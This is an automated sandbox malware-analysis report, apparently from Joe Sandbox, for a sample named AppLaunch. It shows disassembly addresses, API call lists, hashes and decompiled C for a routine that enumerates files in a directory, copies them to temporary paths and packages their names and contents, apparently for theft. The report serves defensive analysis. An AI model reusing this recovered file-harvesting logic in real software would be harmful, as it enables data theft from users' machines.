				L14:
				return 0;
			}

0x00403d76
0x00403d87
0x00403d89
0x00403d8e
0x00403d9b
0x00403da0
0x00403dad
0x00403db7
0x00403dc0
0x00403dc2
0x00403dc8
0x00403dce
0x00403dd0
0x00403dd7
0x00000000
0x00403ddd
0x00403dea
0x00403df0
0x00403df2
0x00000000
0x00403df8
0x00403e1b
0x00403e26
0x00403e32
0x00404003
0x00404006
0x0040400d
0x00404016
0x00403e38
0x00403e3d
0x00403e43
0x00403e45
0x00000000
0x00403e4b
0x00403e5a
0x00403e62
0x00403e65
0x00403e7f
0x00403e85
0x00403e8d
0x00403e92
0x00403ea4
0x00403ea9
0x00403ebb
0x00403ec0
0x00403ed2
0x00403ed7
0x00403eec
0x00403efe
0x00403f01
0x00403f07
0x00403f0a
0x00403f1d
0x00403f25
0x00403f28
0x00403f2d
0x00403f87
0x00403f90
0x00000000
0x00403f2f
0x00403f48
0x00403fdb
0x00403fe2
0x00403feb
0x00403ff2
0x00403ffb
0x00000000
0x00403f4e
0x00403f57
0x00403f5a
0x00403f5d
0x00403f63
0x00403f69
0x00403f6d
0x00403f7b
0x00403f7d
0x00403f7e
0x00403f7f
0x00403f80
0x00403f81
0x00403f96
0x00403f99
0x00403fa0
0x00403fa6
0x00403fa9
0x00000000
0x00403fa9
0x00403f48
0x00403f2d
0x00403e45
0x00403e32
0x00403df2
0x00403fc8
0x00403fcb
0x00000000
0x00403fab
0x00403fb9
0x00403fc2
0x00000000
0x00403fc2
0x00403fd3
0x00403fd7

APIs

LocalAlloc.KERNEL32(00000040,00000208,00000002,00000000,00000002), ref: 00403D91

Part of subcall function 0041AD76: RealDriveType.SHELL32(DB4B90B6,00000000), ref: 0041AD91
Part of subcall function 0041AD76: RealDriveType.SHELL32(F6C33797,00000000), ref: 0041AD9A
Part of subcall function 0041AD76: RealDriveType.SHELL32(B4FED3B4,00000000), ref: 0041ADA3
Part of subcall function 0041AD76: RealDriveType.SHELL32(E053CF6F,00000000), ref: 0041ADAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(9F1C7DF3,00000000), ref: 0041ADB5
Part of subcall function 0041AD76: RealDriveType.SHELL32(798F4A1B,00000000), ref: 0041ADBE
Part of subcall function 0041AD76: RealDriveType.SHELL32(425CBB03,00000000), ref: 0041ADC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADD3
Part of subcall function 0041AD76: RealDriveType.SHELL32(EA97A208,00000000), ref: 0041ADDC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADE6
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADEC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADF2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DF46B1FA,00000000), ref: 0041ADFB
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC90E4E7,00000000), ref: 0041AE08
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE12
Part of subcall function 0041AD76: RealDriveType.SHELL32(50B39D8C,00000000), ref: 0041AE1B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE25
Part of subcall function 0041AD76: RealDriveType.SHELL32(CE8B1640,00000000), ref: 0041AE2E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE38
Part of subcall function 0041AD76: RealDriveType.SHELL32(01DAA5FB,00000000), ref: 0041AE41
Part of subcall function 0041AD76: RealDriveType.SHELL32(C79127D6,00000000), ref: 0041AE4E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE58
Part of subcall function 0041AD76: RealDriveType.SHELL32(6B26D139,00000000), ref: 0041AE61
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE6B
Part of subcall function 0041AD76: RealDriveType.SHELL32(E9760AD3,00000000), ref: 0041AE74
Part of subcall function 0041AD76: RealDriveType.SHELL32(2BEFB636,00000000), ref: 0041AE81
Part of subcall function 0041AD76: RealDriveType.SHELL32(04751878,00000000), ref: 0041AE8E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE98
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE9E

Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AEA4
Part of subcall function 0041AD76: RealDriveType.SHELL32(273488AB,00000000), ref: 0041AEAD
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC61A23F,00000000), ref: 0041AEBA
Part of subcall function 0041AD76: RealDriveType.SHELL32(B3DAA166,00000000), ref: 0041AEC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AED1
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AED7
Part of subcall function 0041AD76: RealDriveType.SHELL32(D938E356,00000000), ref: 0041AEE0
Part of subcall function 0041AD76: lstrlenW.KERNEL32(00000000,?,00413AB2), ref: 0041AEE7
Part of subcall function 0041AD76: lstrlenW.KERNEL32(?,?,00413AB2), ref: 0041AEF0
Part of subcall function 0041AD76: RealDriveType.SHELL32(070D2202,00000000), ref: 0041AF02
Part of subcall function 0041AD76: RealDriveType.SHELL32(1B94926A,00000000), ref: 0041AF0F
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF19
Part of subcall function 0041AD76: RealDriveType.SHELL32(C8C42F5E,00000000), ref: 0041AF22
Part of subcall function 0041AD76: RealDriveType.SHELL32(D76050E1,00000000), ref: 0041AF2F
Part of subcall function 0041AD76: RealDriveType.SHELL32(1B837923,00000000), ref: 0041AF3C
Part of subcall function 0041AD76: RealDriveType.SHELL32(9064BFC7,00000000), ref: 0041AF49
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF53
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF59
Part of subcall function 0041AD76: RealDriveType.SHELL32(AFE6E195,00000000), ref: 0041AF62
Part of subcall function 0041AD76: RealDriveType.SHELL32(3CCCC8AD,00000000), ref: 0041AF6F
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF79
Part of subcall function 0041AD76: RealDriveType.SHELL32(49AB8BAF,00000000), ref: 0041AF82
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF8C
Part of subcall function 0041AD76: RealDriveType.SHELL32(49B60F98,00000000), ref: 0041AF95
Part of subcall function 0041AD76: RealDriveType.SHELL32(05950617,00000000), ref: 0041AFA2
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(469C9C40,00000000), ref: 0041AFB5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFBF
Part of subcall function 0041AD76: RealDriveType.SHELL32(429F1FBD,00000000), ref: 0041AFC8
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFD2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DE0C8199,00000000), ref: 0041AFDB
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFE5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFEB

FindFirstFileW.KERNEL32(00000000,?), ref: 00403DBA
lstrcmpW.KERNEL32(?), ref: 00403DEA
LocalAlloc.KERNEL32(00000040,00000208), ref: 00403DFF
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00403E0E
LocalAlloc.KERNEL32(00000040,00000208), ref: 00403E1D

Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C391
Part of subcall function 0041C37E: RealDriveType.SHELL32(49068A3F,00000000), ref: 0041C39F
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3A5
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3AB
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3B1
Part of subcall function 0041C37E: RealDriveType.SHELL32(90F51192,00000000), ref: 0041C3BA
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3C0
Part of subcall function 0041C37E: RealDriveType.SHELL32(8030BDD6,00000000), ref: 0041C3C9
Part of subcall function 0041C37E: RealDriveType.SHELL32(3529F220,00000000), ref: 0041C3D2
Part of subcall function 0041C37E: RealDriveType.SHELL32(44900BA8,00000000), ref: 0041C3DB
Part of subcall function 0041C37E: RealDriveType.SHELL32(80627B6F,00000000), ref: 0041C3E4
Part of subcall function 0041C37E: RealDriveType.SHELL32(4B2F893E,00000000), ref: 0041C3ED
Part of subcall function 0041C37E: RealDriveType.SHELL32(9237E9C0,00000000), ref: 0041C3F6
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3FC
Part of subcall function 0041C37E: RealDriveType.SHELL32(001C2176,00000000), ref: 0041C405
Part of subcall function 0041C37E: RealDriveType.SHELL32(DCD15041,00000000), ref: 0041C40E
Part of subcall function 0041C37E: RealDriveType.SHELL32(06ACA385,00000000), ref: 0041C417
Part of subcall function 0041C37E: RealDriveType.SHELL32(54EEC891,00000000), ref: 0041C420
Part of subcall function 0041C37E: RealDriveType.SHELL32(6F107F95,00000000), ref: 0041C429
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C42F
Part of subcall function 0041C37E: RealDriveType.SHELL32(1A1C9336,00000000), ref: 0041C438
Part of subcall function 0041C37E: RealDriveType.SHELL32(DF38BEB2,00000000), ref: 0041C441
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C447
Part of subcall function 0041C37E: RealDriveType.SHELL32(1D427676,00000000), ref: 0041C450
Part of subcall function 0041C37E: RealDriveType.SHELL32(2EC4F5A1,00000000), ref: 0041C459
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C45F
Part of subcall function 0041C37E: RealDriveType.SHELL32(3921A8C1,00000000), ref: 0041C468
Part of subcall function 0041C37E: RealDriveType.SHELL32(E7FE911E,00000000), ref: 0041C471
Part of subcall function 0041C37E: RealDriveType.SHELL32(3D01E728,00000000), ref: 0041C47A
Part of subcall function 0041C37E: RealDriveType.SHELL32(AEAA71A1,00000000), ref: 0041C483

CopyFileW.KERNEL32(00000000,?,00000000), ref: 00403E3D
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000004,00000000,00000000), ref: 00403E5A
GetFileSize.KERNEL32(00000000,00000000), ref: 00403E65
LocalAlloc.KERNEL32(00000040,00000208), ref: 00403E72
StrCpyW.SHLWAPI(00000000), ref: 00403E7F

Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFF1
Part of subcall function 0041AD76: RealDriveType.SHELL32(E995579D,00000000), ref: 0041AFFA
Part of subcall function 0041AD76: RealDriveType.SHELL32(84B4EFE9,00000000), ref: 0041B007
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B011
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B017
Part of subcall function 0041AD76: RealDriveType.SHELL32(69DD92CF,00000000), ref: 0041B020
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B02A
Part of subcall function 0041AD76: RealDriveType.SHELL32(D60D9783,00000000), ref: 0041B033
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B03D
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B043
Part of subcall function 0041AD76: RealDriveType.SHELL32(D524453E,00000000), ref: 0041B04C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B056
Part of subcall function 0041AD76: LocalAlloc.KERNELBASE(00000040,00000000,?,?,00413AB2), ref: 0041B05E
Part of subcall function 0041AD76: RealDriveType.SHELL32(95C49318,00000000), ref: 0041B079
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B083
Part of subcall function 0041AD76: RealDriveType.SHELL32(1DCFFBF4,00000000), ref: 0041B090
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B09A
Part of subcall function 0041AD76: RealDriveType.SHELL32(9C735FFF,00000000), ref: 0041B0A7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0B1
Part of subcall function 0041AD76: RealDriveType.SHELL32(68C482AD,00000000), ref: 0041B0BE
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0C8
Part of subcall function 0041AD76: RealDriveType.SHELL32(691D272A,00000000), ref: 0041B0D5
Part of subcall function 0041AD76: RealDriveType.SHELL32(DBDB247C,00000000), ref: 0041B0E2
Part of subcall function 0041AD76: RealDriveType.SHELL32(89A7247D,00000000), ref: 0041B0EF
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0F9
Part of subcall function 0041AD76: RealDriveType.SHELL32(7BCCF2AA,00000000), ref: 0041B106
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B110
Part of subcall function 0041AD76: RealDriveType.SHELL32(FD492CE4,00000000), ref: 0041B11D
Part of subcall function 0041AD76: RealDriveType.SHELL32(9D6BEA8D,00000000), ref: 0041B12A
Part of subcall function 0041AD76: RealDriveType.SHELL32(E0F34789,00000000), ref: 0041B137
Part of subcall function 0041AD76: RealDriveType.SHELL32(044B76F0,00000000), ref: 0041B144
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B14E

Part of subcall function 0041AD76: RealDriveType.SHELL32(F4BADB94,00000000), ref: 0041B15B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B165
Part of subcall function 0041AD76: RealDriveType.SHELL32(EE3E27F5,00000000), ref: 0041B172
Part of subcall function 0041AD76: RealDriveType.SHELL32(48485EFA,00000000), ref: 0041B17F
Part of subcall function 0041AD76: RealDriveType.SHELL32(070B9A41,00000000), ref: 0041B18C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B196
Part of subcall function 0041AD76: RealDriveType.SHELL32(571FE76C,00000000), ref: 0041B1A3
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1AD
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1B7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1C1
Part of subcall function 0041AD76: RealDriveType.SHELL32(52ABA1CE,00000000), ref: 0041B1CE
Part of subcall function 0041AD76: RealDriveType.SHELL32(B9749A76,00000000), ref: 0041B1DB
Part of subcall function 0041AD76: RealDriveType.SHELL32(50A3EE5B,00000000), ref: 0041B1E8
Part of subcall function 0041AD76: RealDriveType.SHELL32(85FA4239,00000000), ref: 0041B1F5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1FF
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B209
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B213
Part of subcall function 0041AD76: RealDriveType.SHELL32(6EFD5CA5,00000000), ref: 0041B231
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B23B
Part of subcall function 0041AD76: RealDriveType.SHELL32(0FD92313,00000000), ref: 0041B244
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B24A
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B250
Part of subcall function 0041AD76: RealDriveType.SHELL32(E4AA7B61,00000000), ref: 0041B259
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B25F
Part of subcall function 0041AD76: RealDriveType.SHELL32(9267EC63,00000000), ref: 0041B268
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B26E
Part of subcall function 0041AD76: RealDriveType.SHELL32(DA224DC3,00000000), ref: 0041B277
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B27D
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B283
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B289
Part of subcall function 0041AD76: RealDriveType.SHELL32(A7867F73,00000000), ref: 0041B292

Part of subcall function 0041AD76: RealDriveType.SHELL32(4E7350CF,00000000), ref: 0041B29B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2A1
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2A7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2AD
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2B3
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2B9
Part of subcall function 0041AD76: RealDriveType.SHELL32(8A17A7AE,00000000), ref: 0041B2C2
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2C8
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2CE
Part of subcall function 0041AD76: RealDriveType.SHELL32(B95CF60A,00000000), ref: 0041B2D7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2DD
Part of subcall function 0041AD76: RealDriveType.SHELL32(7CCFEA8C,00000000), ref: 0041B2E6
Part of subcall function 0041AD76: RealDriveType.SHELL32(D60CCAF0,00000000), ref: 0041B2EF
Part of subcall function 0041AD76: RealDriveType.SHELL32(8B5FE606,00000000), ref: 0041B2F8
Part of subcall function 0041AD76: RealDriveType.SHELL32(642C6F94,00000000), ref: 0041B301
Part of subcall function 0041AD76: RealDriveType.SHELL32(D2826C73,00000000), ref: 0041B30A
Part of subcall function 0041AD76: RealDriveType.SHELL32(713B5C57,00000000), ref: 0041B313
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B319
Part of subcall function 0041AD76: RealDriveType.SHELL32(0C8175A7,00000000), ref: 0041B322
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B328
Part of subcall function 0041AD76: RealDriveType.SHELL32(696CF4EC,00000000), ref: 0041B331
Part of subcall function 0041AD76: RealDriveType.SHELL32(7FF3D359,00000000), ref: 0041B33A
Part of subcall function 0041AD76: GlobalFree.KERNEL32(?), ref: 0041B33F
Part of subcall function 0041AD76: RealDriveType.SHELL32(70AECD0D,00000000), ref: 0041B34C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B352
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B358
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B35E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B364
Part of subcall function 0041AD76: RealDriveType.SHELL32(AB226166,00000000), ref: 0041B36D
Part of subcall function 0041AD76: RealDriveType.SHELL32(1875566A,00000000), ref: 0041B376
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B37C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B382
Part of subcall function 0041AD76: RealDriveType.SHELL32(001CBF60,00000000), ref: 0041B38B

Part of subcall function 0041AD76: RealDriveType.SHELL32(6459A2D3,00000000), ref: 0041B394
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B39A
Part of subcall function 0041AD76: RealDriveType.SHELL32(FF4BA676,00000000), ref: 0041B3A3
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3A9
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3AF
Part of subcall function 0041AD76: RealDriveType.SHELL32(D97D5CDF,00000000), ref: 0041B3B8
Part of subcall function 0041AD76: RealDriveType.SHELL32(709B99DB,00000000), ref: 0041B3C1
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3C7
Part of subcall function 0041AD76: RealDriveType.SHELL32(AC38C7DA,00000000), ref: 0041B3D0
Part of subcall function 0041AD76: RealDriveType.SHELL32(01624B42,00000000), ref: 0041B3D9
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3DF
Part of subcall function 0041AD76: RealDriveType.SHELL32(2027B2EF,00000000), ref: 0041B3E8
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3EE
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3F4
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3FA
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B400
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B406
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B40C
Part of subcall function 0041AD76: RealDriveType.SHELL32(26293B1F,00000000), ref: 0041B415
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B41B
Part of subcall function 0041AD76: RealDriveType.SHELL32(28C398C5,00000000), ref: 0041B424
Part of subcall function 0041AD76: RealDriveType.SHELL32(FD324B5E,00000000), ref: 0041B42D
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B433
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B439
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B43F
Part of subcall function 0041AD76: RealDriveType.SHELL32(BD15EE40,00000000), ref: 0041B448

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 00403F01
LocalAlloc.KERNEL32(00000040,00000040), ref: 00403F10
LocalAlloc.KERNEL32(00000040,0000020A), ref: 00403F1F
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000002,000000FF,00000000,?,00000000,00000000), ref: 00403F40
StrCpyW.SHLWAPI(?,?), ref: 00403F5D
LocalFree.KERNEL32(00000000), ref: 00403F87
LocalFree.KERNEL32(?), ref: 00403F90
LocalFree.KERNEL32(?), ref: 00403F99
LocalFree.KERNEL32(00000000), ref: 00403FA0
FindNextFileW.KERNEL32(00000000,00000010), ref: 00403FB3
FindClose.KERNEL32(00000000), ref: 00403FC2
LocalFree.KERNEL32(00000002), ref: 00403FCB
LocalFree.KERNEL32(00000002), ref: 00403FDB
LocalFree.KERNEL32(00000000), ref: 00403FE2
LocalFree.KERNEL32(?), ref: 00403FEB
LocalFree.KERNEL32(00000000), ref: 00403FF2
LocalFree.KERNEL32(?), ref: 00403FFB
LocalFree.KERNEL32(?), ref: 00404006
LocalFree.KERNEL32(00000000), ref: 0040400D
DeleteFileW.KERNEL32(?), ref: 00404016

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$Path$Slow$Local$Free$Alloc$File$Find$ByteCharMultiWidelstrlen$CloseCombineCopyCreateDeleteFirstGlobalNextSizelstrcmp
String ID:
API String ID: 1152012595-0
Opcode ID: ccd5e41d0f95dbfbfa9dfe93d2556f197c3f7c99078d668879f1da1f4df56e95
Instruction ID: 10760cfec838754492f963030cb6921fd75e8ec2eb8bdd83722ad635e94f8d9e
Opcode Fuzzy Hash: ccd5e41d0f95dbfbfa9dfe93d2556f197c3f7c99078d668879f1da1f4df56e95
Instruction Fuzzy Hash: D5717E70B01204ABCB209FB0DC4DAAE7B79BF45706F504565F601A32A0EB388F128B68

Uniqueness

Uniqueness Score: -1.00%

Function 0040401E Relevance: 46.7, APIs: 31, Instructions: 207
memoryfilestringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040401E(WCHAR* __ecx, WCHAR* __edx, void* __eflags, WCHAR* _a4, WCHAR* _a8, void* _a12, intOrPtr* _a16) {
				void* _v8;
				void* _v12;
				short* _v16;
				void* _v20;
				WCHAR* _v24;
				int _v28;
				void* _v32;
				void* _v36;
				WCHAR* _v40;
				signed int _v44;
				WCHAR* _v48;
				void* _v52;
				void* _v56;
				struct _WIN32_FIND_DATAW _v652;
				WCHAR* _t49;
				int _t57;
				int _t66;
				void* _t67;
				WCHAR* _t70;
				WCHAR* _t71;
				WCHAR* _t73;
				WCHAR* _t75;
				WCHAR* _t77;
				short* _t79;
				int _t80;
				int _t83;
				WCHAR* _t96;
				WCHAR* _t99;
				void* _t100;
				WCHAR* _t120;
				WCHAR* _t122;
				WCHAR* _t123;
				WCHAR* _t125;
				WCHAR* _t127;
				WCHAR* _t129;
				void* _t131;
				WCHAR* _t135;
				int _t136;
				void* _t137;
				void* _t139;

				_t139 = __eflags;
				_t99 = __ecx;
				_v24 = __edx;
				_v40 = __ecx;
				_t49 = E0041AD76(LocalAlloc(0x40, 0x208), _t99, _t139);
				_t120 =  *0x4231cc; // 0x513baf8
				_t135 = E0041AD76(_t49, _t120, _t139);
				_v20 = _t135;
				_t131 = FindFirstFileW(_t135,  &_v652);
				_v36 = _t131;
				if(_t131 != 0xffffffff) {
					_t136 = 0;
					do {
						if((_v652.dwFileAttributes & 0x00000010) != 0) {
							goto L11;
						} else {
							_t57 = lstrcmpW( &(_v652.cFileName),  *0x4231c8);
							_t143 = _t57;
							if(_t57 == 0) {
								goto L11;
							} else {
								_t100 = PathCombineW(LocalAlloc(0x40, 0x208), _t99,  &(_v652.cFileName));
								_v8 = LocalAlloc(0x40, 0x208);
								if(E0041C37E(_t100,  &_v8, _t143) == 0) {
									L16:
									LocalFree(_v8);
									LocalFree(_t100);
									DeleteFileW(_v8);
								} else {
									_t66 = CopyFileW(_t100, _v8, _t136);
									_t145 = _t66;
									if(_t66 == 0) {
										goto L16;
									} else {
										_t67 = CreateFileW(_v8, 0x80000000, 1, _t136, 4, _t136, _t136);
										_v32 = _t67;
										GetFileSize(_t67, _t136);
										_t70 = StrCpyW(LocalAlloc(0x40, 0x208),  *0x4231b0);
										_t122 =  *0x4231ac; // 0x5139b08
										_t71 = E0041AD76(_t70, _t122, _t145);
										_t123 =  *0x4231b0; // 0x513bc78
										_t73 = E0041AD76(E0041AD76(_t71, _t123, _t145), _v24, _t145);
										_t125 =  *0x4231fc; // 0x513bb98
										_t75 = E0041AD76(E0041AD76(_t73, _t125, _t145), _a4, _t145);
										_t127 =  *0x4231fc; // 0x513bb98
										_t77 = E0041AD76(E0041AD76(_t75, _t127, _t145), _a8, _t145);
										_t129 =  *0x4231b0; // 0x513bc78
										_t79 = E0041AD76(E0041AD76(_t77, _t129, _t145),  &(_v652.cFileName), _t145);
										_v16 = _t79;
										_t80 = WideCharToMultiByte(0xfde9, _t136, _t79, 0xffffffff, _t136, _t136, _t136, _t136);
										_v28 = _t80;
										_t22 = _t80 + 0x40; // 0x40
										_t137 = LocalAlloc(0x40, _t22);
										_v12 = LocalAlloc(0x40, 0x20a);
										_t83 = _v28;
										if(_t83 == 0) {
											LocalFree(_t137);
											LocalFree(_v12);
											goto L10;
										} else {
											if(WideCharToMultiByte(0xfde9, 0, _v16, 0xffffffff, _t137, _t83, 0, 0) == 0) {
												LocalFree(_v16);
												LocalFree(_t137);
												LocalFree(_v8);
												LocalFree(_t100);
												LocalFree(_v12);
												break;
											} else {
												_v56 = _t137;
												_v52 = _v32;
												_t96 = StrCpyW(_v12, _v8);
												_t117 = _a16;
												_v44 = _v44 & 0x00000000;
												_v48 = _t96;
												 *_t117 =  *_a16 + 1;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t131 = _v36;
												L10:
												LocalFree(_v8);
												LocalFree(_t100);
												_t99 = _v40;
												_t136 = 0;
												goto L11;
											}
										}
									}
								}
							}
						}
						L13:
						LocalFree(_v20);
						goto L14;
						L11:
					} while (FindNextFileW(_t131,  &_v652) != 0);
					FindClose(_t131);
					goto L13;
				}
				L14:
				return 0;
			}

0x0040401e
0x0040402f
0x00404031
0x00404036
0x00404043
0x00404048
0x00404055
0x0040405f
0x00404068
0x0040406a
0x00404070
0x00404076
0x00404078
0x0040407f
0x00000000
0x00404085
0x00404092
0x00404098
0x0040409a
0x00000000
0x004040a0
0x004040c3
0x004040ce
0x004040da
0x004042ab
0x004042ae
0x004042b5
0x004042be
0x004040e0
0x004040e5
0x004040eb
0x004040ed
0x00000000
0x004040f3
0x00404102
